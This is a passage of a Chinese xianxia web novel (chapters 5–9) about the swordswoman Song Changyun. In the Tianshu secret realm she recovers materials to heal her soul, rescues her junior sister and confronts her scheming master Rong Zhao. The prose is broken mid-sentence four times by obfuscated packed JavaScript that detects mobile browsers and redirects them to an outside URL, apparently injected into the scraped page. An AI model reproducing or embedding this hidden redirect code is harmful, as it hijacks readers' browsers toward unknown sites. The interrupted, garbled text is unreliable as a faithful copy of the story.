不过一瞬间,他出现在远处的山峰上,冷眼看向秘境入口,某种蓝色暗纹再一次闪烁。 他的好徒儿,便这么迫不及待前去送死。 5. 第 5 章 睁开眼,入目是一片葱郁的绿色。 周围灵气充裕,进来的瞬间便觉得周身舒畅,灵田似乎也更充盈了许多。 周围都是郁郁葱葱的竹子,枝叶层层叠叠,远处隐约能看到有一处木屋。 身后其它宗门的人也陆陆续续进来,众人聚在一处,一时无言。 周围看似处处是路,但不论往哪边走最后都会回到原位。即便朝着那座木屋走去,也像是在原地踏步。 没有路可以走。 有人开始说些什么,人群渐渐哗然。总归是无处去,有人原地坐下开始修炼。 过了许久,秘境终于有了动静。 面前的竹林忽然像是有了什么感应一般,自动朝着两边散开,给众人让出一条通道,通向前方木屋,木屋的门也随之朝众人打开。 进秘境之前,在场大多数人都听与自己相熟的前辈说过,木屋开门之后便赶紧进去,不要在竹林中停留。尤其是天黑之后。 天黑之后木屋门不再敞开,夜晚的竹林会开始它的狩猎。 大多数人都进了木屋,只有极少数人留下。 宋长云便是其中之一。 旁人不知道,宋长云想要的,是暗夜竹妖的尸体。 秘境深处有一处轮回井,其边缘凝结的露珠则是三石露,宋长云需要用它来修复自己的元神。 而采集三石露,只能用修炼三千年以上的暗夜竹妖身上的竹节。 司命本想留下与她一起,但宋长云将她推进了木屋。这里只是秘境中她要经历的第一关,若她连这都解决不了,不如趁早将脖子伸到容昭面前,让他一刀了结了自己。 司命要找的东西也并不简单。秘境开启的时间不算长,与其留下来陪她浪费时间,不如先进去寻找。 总归她身上有司命的本体花瓣,随时可以找到对方的位置。 宋长云倚靠着一根粗壮的竹子坐下来,静静等着黑夜的来临。 现在竹林里的都是普通的竹子,只有入夜妖化后竹妖的竹节才可用来采集三石露。 她背上背着两柄剑,一柄是她的破云剑,插在剑鞘里用布细细包好,另一柄只是一把普通的剑,是宋长云刚开始修炼时用的。 剑柄上刻着一个字,宋长云低头看着它,指尖在上面轻轻摩挲。 那是一个“应”字。 许多年前的记忆被唤醒,那时宋长云还很小,那日是她的生辰,她鼓起勇气去了掌门闭关的地方,像模像样地行了个拜师礼,说想要拜她为师。 小小的她不懂什么是闭关什么是修行,只知道自己是掌门捡回来的,掌门是青云宗最厉害的人,修仙界到处都是掌门的传说。她要拜她为师,以后像掌门一样厉害。 以前青云宗的人都对她说掌门在闭关,不见人。可那天她行完礼后,那扇自她记事来便没打开过的门却向她敞开了。 她听见掌门的声音,沉稳,冷静。 那天她见到了自己崇拜已久的掌门,欢喜地问她能不能收她为徒。 掌门并没有回答,只是给了她一柄剑,淡声说了句“去吧”,之后宋长云便被送回了自己的房间。 那时她还没有这把剑高。 后来她开始怀疑容昭之后,也曾想过掌门给她的这柄剑是不是藏着什么别的玄机,可不管她怎么试,得出的结论都是除了剑柄身上印着的“应”字,这只是一柄最普通不过的剑。 后来她机缘巧合下得到了破云剑,这把剑便被她收了起来,再也没有用过。 天色渐渐暗了下来,周围的竹子们也开始蠢蠢欲动。 宋长云轻轻握住剑柄。 砍这些竹妖,用这把剑便够了。 - 司命此次来是为了寻找无间书,一本传闻中记载了许多秘术的书。 传言中,无间书中记载有一法阵,可以彻底湮灭阵法中的魂魄,哪怕是渡劫期的大能都无法在阵法中保住自己的魂魄。 司命想要的就是这个阵法。 挂在颈间的指骨闪着光芒,司命不耐烦地将它扔进了储物戒中,眼不见为净。 此刻她身边空无一人,独自行走在秘境中。木屋里有面水镜,水镜会将进入的人传送至不同的地方,寻找各自的机缘。她的族人大部分散落在秘境各处,而玲珑卫与她的本体相伴相生,并不受水镜的限制。 若是有需要,作为妖皇,司命可以随时召唤自己的族人。 天枢秘境存在了许多年,期间不少修士进入又出去,她们自认已经将秘境内部摸清,曾有不少人族与妖族带的修士试图绘出秘境地图。 她们确实画出来了,也有不少人掏钱买下,可进入秘境中之后才发现,天枢秘境早就不是三百年前的样子。 它会在每一次修士离开后的三百年里产生新的变化。 司命在母亲的遗物中看到过,她在天枢秘境中偶然见到过无间书。 无间书也并不是在某个地方安静放着等人来取,而是在一个人手里。 或许不能称之为“人”,母亲见到它时,它只有人形,却没有五官。 它如同行走在秘境中的商人,用手中的东西与人交易。 自母亲离开秘境已经过去几百年,司命不确定那商人是否还存在,也不知道无间书还在不在它手里。 此次来也只是想碰碰运气,得不到也没关系,总归那人现在不过是个魂魄,掀不起什么大风浪。 “姽婳。” 她唤了声,隐匿在身边的玲珑卫之一现身,半跪在司命面前:“殿下。” “你曾与母亲一同见过那神秘商人,母亲那时可有与它有过接触?” 司命一族的玲珑卫与碧血琼英相伴而生,世世侍奉碧血琼英化形而生的妖皇殿下。肉身不死不灭。 她们也是母亲留给她的遗物。 那时父亲已经有谋逆的心思,母亲不放心将尚在襁褓中的司命交给他,留下玄水、罗夜、白藏三名玲珑卫在她身边保护她,自己只带着姽婳前往秘境。 姽婳略一思索,答道:“未曾,那人身着长袍将身体裹得严严实实,除了交易并不与人接触。许多人找它想要交易,最后却没有换得任何东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的灵根属性是风,竹妖速度再快也会带起风动。 就像暗器从来无法在她清醒时射中她。 她砍下自己需要的竹节,竹妖剩下的尸体渐渐化作齑粉,随风被吹走。 天未亮,竹林的狩猎还在继续。 宋长云并不恋战,采集三石露只需要三千年以上竹妖的。天枢秘境不知存在了多久,这片竹林中的竹妖必然存在比她刚刚杀死的那只修为更高的,她身体还未痊愈,并不想招惹多余的是非。 元神的伤让她无法长时间动用灵力,只是刚刚这一会儿,宋长云已经感到疲倦。 她收起手中的竹节,掐诀隐匿起了自己的气息,转而将属于司命本体的碧血琼英的气息放了出来。 即便幻境中的妖不属于司命的族人,妖皇的气息依旧可以震慑它们。 只需要等待天亮。 6. 第 6 章 秘境中。 众人顺着水镜给出的路寻找自己的机缘,秘境中凶兽险境不知凡几,又要提防人心难测的身边人,许多人身陷缠斗脱身不得。 沈春野跟着聚合而来的青云宗队伍往前走,忽然感受到一阵奇异的波动,她转头,朝着来时的方向看去。 “怎么了?”身旁人问她。 沈春野摇摇头,回过神继续跟着队伍走,只是手中总是忍不住摩挲剑柄的动作暴露了她内心的焦躁 半晌,她终是忍不住,匆匆对身旁人说了句:“你们先走,我去去便回。” 说罢,不等对方反应,朝着方才异动的方向奔去。 她眉头紧锁,用尽全力御风而行。 师姐,刚刚的波动里有师姐的气息。 消失了许久的师姐,还活着。 司命站在高处,脑中回忆着母亲的记载,试图感受无间书的气息。 片晌,她望向水镜的方向,下一刻,消失在原地。 两人在水镜前相遇。 水镜无法逆向通过,沈春野像是没有看见司命,站在水镜的背面一言不发。 司命瞥她一眼,没有多言,越过水镜消失在秘境中,留下沈春野在原地暗暗咬牙。 时间一时一刻过去,沈春野越发焦躁。她开始后悔自己为什么没有求司命带她过去。 师姐——宋长云如何了?既然还活着为什么不回宗门?她知不知道她有多担心她? 等到水镜中再有动静时,秘境中的时间已经过去了半日。 透过水镜隐约看见司命怀中抱着一个人,沈春野下意识往前走了两步:“师姐!” 司命带着宋长云从水镜中出来,她冷眼瞥向沈春野,原本着急冲过来的沈春野忽然像是被定身了一般,眼睛渐渐失焦,看不见司命带着她的师姐消失不见。 她陷入幻境,看见了司命方才所见的一切。 - 宋长云拿到自己需要的竹节后,便退到了边缘,等待天亮前往木屋。 她算着时间,原本该天亮的时刻,眼前依然一片漆黑,宋长云意识到了不对。 幻象。 更高阶的竹妖出现,将她拉进了它的游戏场。 周围灵气变得稀薄,伸手不见五指,簌簌声也消失不见,耳边一片安静。 宋长云抬手,灵力涌动在剑尖,心中默念法诀,剑光闪烁在漆黑的狩猎场中,汇聚成一道凌厉的剑气狠狠挥下。 眼前清明的一瞬,宋长云看见的是一片被毁了大半的竹林,以及丝毫未动的幻象。 空气中隐隐有极淡的香气,宋长云皱起眉,隐约觉得这股味道在哪闻到过。 抬起手,凑在鼻尖嗅了嗅。 她脸色一沉。 摄魂草汁液。 难怪刚刚那个傀儡能够控制竹妖。 摄魂草对低阶竹妖确实有控制效果,但对于高阶竹妖来说,摄魂草是它们极喜爱的食物。 宋长云摸不清幻境主人的境界,她像是被罩在了一个密不透风的壳子里,外面的捕猎者兴致盎然地观赏着自己的猎物,等待她筋疲力尽,放弃挣扎的那一刻。 这里灵气稀薄,方才挥出的那一剑她已经用了全力,破损的元神甚至支撑不了她挥出下一剑。 宋长云停下来,眉头紧锁,思索着破局的办法。 她身上有碧血琼英的屏障,即便沾染了摄魂草的汁液,也不应该毫无所察地被拖入竹妖的幻象。 刚刚那一剑动静如此大,竹妖竟然没有丝毫反应依旧蛰伏,宋长云总觉得这其中有什么被她忽略了的东西。 如果这里是竹妖的幻象,融合了碧血琼英能力的全力一击竹妖不可能毫发无伤。而被激怒的竹妖也不会毫无动作。 那便只有一种可能—— 这里是容昭给她制造的假象。 他想把她困死在这。 没有人会去深究一个被竹妖杀死的人,更何况这个人已经失踪许久,在众人眼中也许早就已经死了。 宋长云握紧拳头。 灵力自她身体中迸发,那柄刻着“应”字的剑在她手中嗡鸣。 元神因为承受不住压力而震颤,宋长云头痛欲裂,身体在警告她立刻停下,而她只是在黑暗中面无表情地盯着前方,丝毫不退。 宋长云可以死,但不能死在这种下三滥的手段里。 凛冽的剑气自上而下,虚假的幻境碎成一片。 竹林早已大亮。 - 司命来时看到的便已是昏倒在木屋外的宋长云。她将宋长云带进木屋,为她疗伤。 半晌,司命从木屋中走出来。入目是一片狼藉,断裂的竹子上是锋利的切口,还有一丝莫名的暗色纹路。 玲珑卫已经搜查过竹林,在竹林中心几根粗壮的竹子中找到了几具干瘪残缺的尸体。 司命蹲下,指腹在断口轻轻一捻,眼眸沉下来。 傀儡术。 容昭连自己宗门的徒子都不放过。 - 沈春野愕然。 她认得那几具干尸,半日前她们还曾与她打过招呼,是青云宗的徒子,她的师妹师弟们。 她记得道袍上绣着的玄鸟,那是一个很开朗的师妹,玄鸟是她家里人给她绣的,她说她要好好修炼,惩恶扬善,成为家人的骄傲。 现在她死在了秘境中,连尸骨都没了。 她们被施了傀儡术,在竹林中想要杀死师姐。 宗门有人想要杀死师姐。 沈春野不知道该怀疑谁,不知道这件事和前些日甄斐仁的死有没有关系,但她脑海中浮现的,是掌门的脸。 可他是师姐的师尊,又怎么会要置师姐于死地呢?他是青云宗的掌门,又怎么会用宗门的人做出这种事情? …… 沈春野不敢相信,可—— 可他是师姐的师尊,怎么会看不出师姐这百年的变化,怎么会对师姐的变化置之不问。 师姐发生变化的第一日她便瞧出不对。 她去妖域找师姐的旧友想要借魂镜来证实自己的猜想,但司命只是将她拒之门外。 她修为不够,想要让掌门——师姐的师尊——来帮她求证,可掌门只是说她想多了。 这些年没有人相信师姐的变化另有原因,她翻阅所有古籍也找不出找回师姐的办法。 到后来连她自己都不确定了——或许真的只是师姐变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018691|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了呢? 她真的有那么了解师姐吗? 她垂下眼眸,沉默着转身回到了青云宗的队伍。 掌门……或者青云宗,到底藏着什么秘密?那些人又为什么一定要让师姐死? - 宋长云醒来是在七日之后。 她们在一处山洞,她醒来时,洞里只有白藏在。 白藏手中燃着一团暗紫色的火焰,火里有什么东西翻涌着。 “殿下去替你寻轮回井了,命我留下照顾你。”她说。 白藏是玲珑卫之一,擅毒亦擅医。 宋长云点点头。 身上的伤已经好了大半,只是元神上的伤口又被她撕裂了一块。 这样下去,不等她杀死容昭找到真相,就要元神消散彻底死亡了。 一只苍白的手伸到她面前,手心是一颗药。 白藏没什么表情:“能暂时稳住你的元神。” “多谢。” 司命不知道什么时候能回来,宋长云吃下白藏给的药,起身拎起了自己的剑。 “你去哪儿?”白藏喊停她。 “去找叱白兽和龙龟。” 三石露用来修复她的元神,叱白兽的火种和龙龟的鳞片可以重铸破云剑。 这三样东西全部都是只在天枢秘境中才能寻到,如果她再晚一些回到身体里,恐怕要在司命的妖域躲一辈子了。 也不知道她这算是幸还是不幸。 “你打不过,路上还会遇到心怀不轨的人。”白藏平静地说,“再动用灵力,你便等不到殿下回来了。” 宋长云掂量了下自己的身体,最后决定老老实实地谨遵医嘱,干脆坐下开始修炼。 白藏盯着她,半晌,忽然开口:“你似乎与那时很不一样。” 宋长云顿了会儿,才反应过来她说的是曾经她助司命弑父夺权的时候。 她停□□内灵力的运转:“毕竟被夺舍了百年。” 百年里她眼睁睁看着“自己”将原本的生活过得一团糟,本该用来斩恶除魔的修为被它浪费给一个无用的凡人,光明的坦途它不走偏偏要以天才之身献祭自己去追求所谓的爱情。她的魂魄被困在身体周围被迫看着这一切,宋长云没有陷入疯魔已经是上天庇佑。 “不是这个。”白藏说,她皱着眉,似是不知该怎么解释。 她犹豫了一下,才又开口:“如果是那时的你元神伤成这样,你已经死了。” 宋长云一愣。 她的元神变强了? 可这百年里那个代替她占据身体的东西从未有一天替她努力修炼,只一味糟蹋她的身体,她的元神如何能在这种情况下变强? 白藏说出了那个呼之欲出的答案:“除了殿下,还有人在暗中助你。” 宋长云心头一动。 不止司命,还有人知道她被夺舍。 她们隐藏在暗处,或许和百年前的她一样,也察觉到了不对,暗中调查时发现了她,帮助了她。 或许她们也已经在怀疑容昭,怀疑这个世界。 她的身后不只有司命。 还有人记得那些消失不见的女修。 她们没有被彻底遗忘。 7. 第 7 章 这个结论让宋长云振奋了许多。 “走吧。”她拍了拍白藏的肩膀。 白藏一愣:“去哪儿?” “找你们殿下去。”宋长云说。 她不是能够在原地不动的性子。她们早一日强大一分,容昭——亦或许他背后的东西——便少一分胜算。 她不想再像现在这样什么都做不了。 多耽误的每一刻,这个世界上都有可能会多出一名如她、如她们一般遭遇的人。 宋长云被白藏带着腾空,朝着司命的方向飞去。 这一片的人不多,只有三三两两的人在休息。两人隐匿了身形,没人看见头顶闪过的人影。 一路看见不少与凶兽缠斗的修士,有妖修也有人修。二人一一避开,没有插手别人的机缘。 宋长云看着下方,脑中思索着她们现在得到的线索。忽然,她的目光定在某处,对白藏说:“停下。” 白藏警惕地看向周围,没有察觉到危险:“怎么了?” 宋长云没有回答,只是盯着下方一个方向,问:“你给的那颗药能支撑我用多久灵力?” “最多半刻钟。”白藏察觉到她的意图,试图阻止,“我没有多余的灵药炼第二颗了。” 宋长云却像是没有听到她的后半句,平静地说:“够了。” 话音未落,白藏便见着她握着剑,朝着某个方向,飞身而下,动作快到她来不及阻拦,只得急匆匆跟上。 - 沈春野正在拼死抵抗。 她们半路遇见凶兽,众人不敌,慌乱之下四散而逃,沈春野和队伍走散。 一路碰上另外两人,一个小师妹和一个她未见过的男子,穿着青云宗的道袍,明显也是青云宗的徒子。之后她们便结伴一路找寻青云宗主队。 小师妹活泼开朗,和主队走散了也没什么失落的情绪,一路都在调节气氛。沈春野看着眼前鲜活的人,又一次想起司命给她看过的记忆里,那个曾说要惩恶扬善做名扬天修士的女孩。 她也是她的师妹,也是青云宗的徒子,最后却毫不知情地被想要加害师姐的幕后黑手当成了一枚可以随意牺牲的棋子。 那她们呢?青云宗其她人呢?下场都会如此吗? 另一个男徒子一路都显得比较阴郁,小师妹与他说话也不怎么应,冷冷淡淡的。沈春野念着他也许是刚刚受到了惊吓需要调节,一路都对他比较照顾。 所以怎么会变成这样呢? 沈春野躺在地上,一丝力气也没有。衣袍上全是血,有她的,也有小师妹的。 她们又一次遇到了凶兽。这头凶兽修为不高,体型略小,并不难对付,起码在沈春野的设想里,她们三个对付它绰绰有余,还能将它切割了,把有用的部位带回宗门,用来入药或者炼器。 可小师妹死了,她也快死了。 小师妹明明不会死。她修为不低,完全足够自保。是那个男徒子因为他的失误导致凶兽得了空子,又在危急关头猛地将小师妹推出去,替他挡了一下。 之后他头也不回地跑了。 小师妹被凶兽生生扯下一条手臂,疼得她不断哀嚎,嘴里却还在喊要沈春野快跑。 沈春野想把小师妹从凶兽口中抢回来,心急之下也被凶兽击倒。 她信错了人,害死了小师妹,也害死了自己。 尝到了血腥味的凶兽更加暴躁,沈春野听见耳边越来越近的嘶吼。 她要死了。 她的脑海里一片空白,没有走马观花,不知道该去想些什么,也不知道该去怪谁。恍惚中她似乎看见了师姐朝她飞来。 司命没照顾好师姐吗?她茫然地想,是师姐来接她了吗? 熟悉的剑气掠过她朝着远处击去,随即是凶兽凄厉的嘶吼,想象中的疼痛迟迟没有袭来,沈春野睁开眼,对上宋长云的目光。 熟悉的,与这百年都不同的,她几乎要忘却的目光。 “师姐——”沈春野开口声音已经带上了哽咽,“师姐,是我害死了她,我害死了她,我不想的,我不想的……” 小师妹的尸体就在离她几步远的地方,尸身已经被凶兽啃食得没了模样。宋长云眼底闪过一丝不忍,将一颗丹药塞进沈春野嘴里,低声安慰:“不怪你。” 她将沈春野抱起来,准备带上她让白藏给她治一下。 “师姐,”沈春野面露悲色,她看向地上那具残缺的尸体,似喃喃道,“我想带她走,我想带她回去。” 宋长云没说话,她将沈春野放下,走到凶兽尸体旁边,长剑举起,剖开了它的肚子,取出了原本属于小师妹的一部分。 而后将尸体拼凑完整,从自己的储物戒取拿出法器,把尸体放了进去。 法器可以保尸身不腐。 白藏也已经跟了过来,沉默着给沈春野治疗。 宋长云把法器交给沈春野。 沈春野伤得很重,没办法带着她去找司命,找了处地方停下,将沈春野安置下来。 沈春野昏迷了几日,宋长云日日守着她,盯着白藏给她医治。 没等到沈春野醒来跟着宋长云一起去找司命,司命便带着其她三人回来了。 她将手中的东西丢给宋长云,唤来白藏与其她三名玲珑卫一起替她疗伤。 宋长云皱眉看着她后背上那道深可见骨的伤,皱眉问道:“怎么弄的?” 司命一族的女儿可以继承母亲的部分修为,前任妖皇——也就是司命的母亲,曾是妖族修为最顶尖的存在,司命虽不能将母亲的修为尽数继承,只是部分也足以令人望尘莫及。 以司命现在的修为,照理说不会受这么重的伤。 “小伤。”司命轻飘飘地说,“幸亏是我替你去的,那老东西设了埋伏,你去必死无疑。” 说话间,有什么自她周身环绕,而后涌向伤口。 是碧血琼英的花粉,对本体自身有治疗奇效。 所以只要不是一击致命,她们很难死。 可司命的母亲…… 她们怀疑过司命的父亲是不是如容昭一般,可那曾经控制她的东西连妖域的结界都破不了,又怎么可能无视上古凤凰血呢? 若是它早已强大到将上古凤凰血视为无物,宋长云现在又怎会好好站在这里? 思索间,司命背后的伤已经在渐渐愈合。 半晌,五人收了法。司命整了下丨身上略显凌乱的衣衫,看向多出来的那个人。 “她如何了?” “死不了。”回应她的是一道沙哑的嗓音。 沈春野不知道什么时候醒了,她看向宋长云:“师姐,我想喝水。” 司命使了个眼色,白藏便提着水壶上前。 司命碰了碰宋长云的肩膀,示意她看自己刚刚给她的东西。 “她你不必担心,死了白藏都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018692|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把她救活。你先管好你自己。” 宋长云笑了声,低头将司命刚刚扔给她的储物袋打开。 旋即愕然—— 三石露,叱白兽的火种,龙龟的鳞片,三样东西安安静静地在储物袋中。 喉咙动了动,宋长云一时说不出话来。 许久,她才找回自己的声音,她看向司命:“这些时日你便是去为我寻这些去了?” “嗯,顺手拿了。”司命说,表情未变,她瞥一眼宋长云,见她一脸愧疚样,又忽然恼起来。 司命压了压自己的火气,淡声道:“我死不了,可你的命就一条。” “那你要的……” “秘境开启一个月,现在才过去一半,等你的事儿完了同我一起找不就是了。”司命看向宋长云,“咱俩的相处模式不是一向如此吗?你欠我我还你的。” 宋长云哑然,她看着忽然闹上脾气的司命,弯了弯唇:“多亏有你,阿肆。” 司命冷哼一声,斜晲了沈春野一眼:“不然要你去指望旁的什么不中用的东西么。” 沈春野敢怒不敢言。 她现在确实帮不上师姐什么忙,还要麻烦师姐救她。 司命收回目光,见宋长云嘴动了动,知道她又要说些什么谢不谢的,连忙打断:“别说了,你赶紧好起来去把那老东西宰了比什么都强。” 若不是顾及着她的族人,她早冲去青云宗替宋长云将人杀了。 司命可以意气用事,但妖皇不能。她身后还有她的族人,若因为她引得人族与妖族开战,生灵涂炭死伤无数,她便是死也无法再面对母亲。 她能做的只有暗中帮衬。 “好了。”她语气软了些,没了方才闹脾气时那样冲,将宋长云按在软垫上坐下,“三石露不好采,你莫要浪费了。我替你护法。” 宋长云点头,没再拖延。 她闭上眼睛,灵力自体内运转,一滴滴露水模样的水珠从原本盛接着它们的竹节中飞出,在灵力的作用下瞬间化成水雾旋绕在宋长云周身,渐渐将她笼罩。 像是有什么穿过她的身体直入她的识海深处,有什么画面一闪而过,宋长云觉得自己仿佛看见了一些熟悉的东西,却又转瞬即逝。 元神的裂口被三石露一点一点填补,原本混沌的识海也渐渐变得清明。体内原本属于司命的碧血琼英花瓣忽地开始向着逐渐修复的元神靠拢,凤凰精血自花瓣中剥离而出,融入她的元神之中。 原本因未炼化而不稳定的修为忽然暴动,在沈春野惊疑不定的目光中渐渐攀升,越过炼虚,直至合体。 沈春野撑着身体起身,看着这一切,喃喃道:“师姐……破镜了。” 连破两个大境界。 师姐早该破镜了。她想。 宋长云本就是最有天赋的天才剑修,百年前便已化神,是同期的师姐妹们望尘莫及的存在。 若不是……师姐本不该受这么多苦。 若她能强大一些,早些找到帮助师姐的方法—— 沈春野目光暗下来。 甄斐仁的死多半与师姐有关,如今师姐回不去宗门,对宗门内的事情即便有所怀疑也无法去查证。 但她沈春野只是一个众长老眼中乖顺听话的小徒儿,她来做师姐在宗门内的眼睛再合适不过。 那个要惩恶扬善的小师妹……她们不能白死。 她要替她们报仇。 8. 第 8 章 整整三日。 最后一丝三石露浸入宋长云身体,元神上的裂缝填补完毕,汹涌的灵力渐渐聚回体内。 从最初回到这幅身体到现在,宋长云第一次感到身体上的轻松畅快,身体是完全属于自己的——就像百年前一样,不会再因为稍稍动用灵力便头痛欲裂,像是神魂都要被撕碎。 元神的修复加上原本属于司命的碧血琼英花瓣的能力,让她越过练虚镜直直接突破合体期。 容昭现在也不过大乘期。 她终于有了能与之一较的资本。 司命的手搭上她的肩膀,眼中带着真心实意的笑,说:“若是我没有母亲的修为,如今怕是打不过你了。” “若没有你助我,我还不知道会死在什么地方。” 可能早就死在了去取三石露的路上。 “这种时候说什么晦气话。”司命瞥她一眼,“若是没有那档子事,你本该是这样的。” 若没有……她现在也应该只是妖族的皇子,在母亲的庇护下寻欢作乐。 她的仇也还没有结束。 体内灵力运转稳定后,宋长云才终于得出空来,看向周围。洞内只剩下了她、司命与玲珑卫六人。 “师妹呢?”她问。 “沈姑娘收到了青云宗的传信,找宗门汇合去了。”白藏说,“临走前让我们转告你,说不用担心她。” 宋长云点点头,没有多言。 师妹有自己的考量,也有自己想要去完成的事情。 无妨,她迟早也是要回青云宗的。 “秘境还有十日关闭,待出去后,我让罗夜随你走一趟煅金阁。”司命说。 罗夜擅长隐匿,一些她不方便出面的场合让罗夜随身保护再合适不过。即便打不过,罗夜也能带着宋长云逃跑。 重铸破云剑需要的材料已经找到要,而重铸破云剑,还需要一位顶级的锻造师。 煅金阁阁主被爆出与魔族勾结之后便消失不见,原本新阁主应该由煅金阁能力最出众的前阁主的大徒儿尉迟燎继任,但当时前阁主的事情闹得沸沸扬扬,流言蜚语愈演愈烈,众人对她座下的徒子们也多加怀疑。 本该继任的尉迟燎被煅金阁其余众人排挤,转而在另一位长老座下选出了一个平平无奇的男徒子,算是给修仙界一个交代。 她们要找的人,就是尉迟燎。 前阁主是修仙界最顶级的炼器师之一,千年前自立门派,后来门派渐渐壮大,便是煅金阁。尉迟燎作为门中最有天赋的徒子,原本该继承她的衣钵,如她一般成为名扬天下的炼器师,却因为一条没有确凿证据的谣言被师门排挤,被排挤成煅金阁的边缘人物。 煅金阁在那名新阁主的带领下从与青云宗齐名的宗门衰逐渐败下去,现在再提起煅金阁,众人先想到的便是前阁主勾结魔族的事,而非如昔日那般大加赞扬。而尉迟燎虽然在这几百年里寂寂无名,但作为前阁主曾经最得意的徒子,她怎会甘心,又怎会放任自己最崇敬的师尊平白遭人污蔑。 前阁主勾结魔族的事情所有人都可能相信,尉迟燎不会相信,她也一定不会坐以待毙。 加之经白藏提醒之后自己的猜测,尉迟燎极有可能是曾经暗中帮助过她的那些人的其中之一。 尉迟燎会是她们最好盟友。 距离秘境关闭还有十日,她们不着急出去,宋长云便想同司命一起去找无间书。 司命却只是摇头,道:“不找了。” “为何?” 那截指骨被司命捏在掌心,她望向远处,目光沉沉:“若我们之前的猜测是真的,容昭与我父亲背后是同一人,那无间书中的法阵或许也杀不死他。” “他”便是司命的父亲。 司命曾经的弑父夺权杀死的只是他的□□,魂魄像是被什么保护着,不论司命用什么方法都无法将他彻底杀死。 夺权最初,她对此毫不知情,只以为他已经死得透彻,掉以轻心之下险些被他反扑。 是那时宋长云替她挡下了那几乎致命的一击。 或许是因为那时的伤才让那东西有机可乘,有了薄弱之处,才让它有了将宋长云夺舍的机会。 司命如是想,便更想彻底杀死他。 因为无法杀死,司命便只能暂时将他封印起来带在身上压制着,防止他哪日在别的什么东西的帮助下逃脱。 这也是他的残部不断反扑试图杀死司命的原因。 她们的主子还没死透。 司命冷笑。 她迟早要让他魂飞魄散。 母亲的死一定也与他脱不了干系。 “况且这些时日我已将秘境走遍,并没有见到母亲曾提到过的是神秘人。”司命说。 或许无间书早已不在秘境中。 她从未断过要彻底杀死他的念头,到现在已经失败了那么多次,也不差这一次。司命无所谓地笑笑,看向宋长云:“你要去寻你的小师妹吗?” 宋长云摇了摇头。 传信给沈春野的是江师姑。既然传信召她回去,按照江师姑的性子,之后路上便会对师妹多加照看,师妹不会再有事了。 她低头看向自己的手,有风从掌心掠过吹向远方。 “该去见一见我的好师尊了。” - 秘境中时间流速与外面不同,现今时间不过过去两日。 容昭依然在那座山头上,平静地望着秘境的方向。他嘴角带着一丝若有似无的笑容,仿佛笃定着什么。 快了,便是前面的被她逃过了也无妨,再过一日—— 秘境入口处忽然出现异动,一道人影渐渐从里面走出。待看清那人的模样,容昭脸上的笑猛地僵住。 宋长云—— 他瞋目裂眦,身形一动闪身到宋长云面前。 “你——” 宋长云缓步走出秘境,面带微笑地看向容昭:“师尊。” 现在她身上的伤都已经痊愈,修为也一跃成为合体期,与两日前的宋长云大相径庭。 容昭沉着脸注视她,目光惊疑不定。 此刻他满脑子都是系统曾与他说的那个预言。 宋长云会是他成仙路上的唯一变数,他极有可能会死在她手里。 若是放任她一日日强大,迟早有一天宋长云会超过他,成为修仙界真正的魁首。 他在系统的帮助下偷来的这一切,将来都会被宋长云轻而易举地夺走。 宋长云……这个被应璃真捡回来的孩子,到底是什么? 连他脑子里的系统都看不透她的命数。 宋长云看着他的表情,露出一个真心实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“师尊,我既然已经出来,秘境中那血阵,便撤了吧。”宋长云道,“秘境中都是各宗门中的翘楚,秘境在青云宗内坍塌导致那么多人死亡,您真的以为她们不敢怀疑青云宗吗?” “以自己的心头血为引布下的血阵……”她看向容昭并不明显的苍白唇色,嘲讽地笑道:“师尊,现在修仙界的大乘期并不只有你一个,日后事情败露,想杀你的人可就不止——” 可就不止有她宋长云了。 “师尊,莫要让杀念糊了脑子。” 她以为竹林中的迷障与司命替她挡下的险境便是容昭的极限了,然而自进入秘境后总是围绕在身边若有若无的血腥气让她一直保持着警惕。 直到她从凶兽口中救下师妹,剖开凶兽肚子时感受到熟悉的气息。 难怪此次秘境中的凶兽格外狂躁。 为了杀他,容昭不惜搭上那么多人为她陪葬,哪怕这些人中有许多青云宗精心培养的徒子。 容昭为了杀她,已经有些疯魔了。 可她如今修为不如他,即便境界已经到了合体期,容昭想要杀她依然有许多办法,宋长云不可能一直待在妖域,他又为何要用这种伤敌一千自损八百的法子? 还是说,自己身上有着什么让容昭惧怕的东西? 9. 第 9 章 离开青云宗之后,宋长云便御剑前往煅金阁。 煅金阁在青云宗的西面,宋长云从秘境中出来时,罗夜便已经前往煅金阁。 以现在煅金阁的防守,对罗夜来说如入无人之境。 前阁主出事之后,尉迟燎在这几百年中逐渐淡出众人的视线,在此之前已经有百余年的时间未在人前露过面,甚至有传言说她去魔窟寻找前阁主,已经死在里面了。 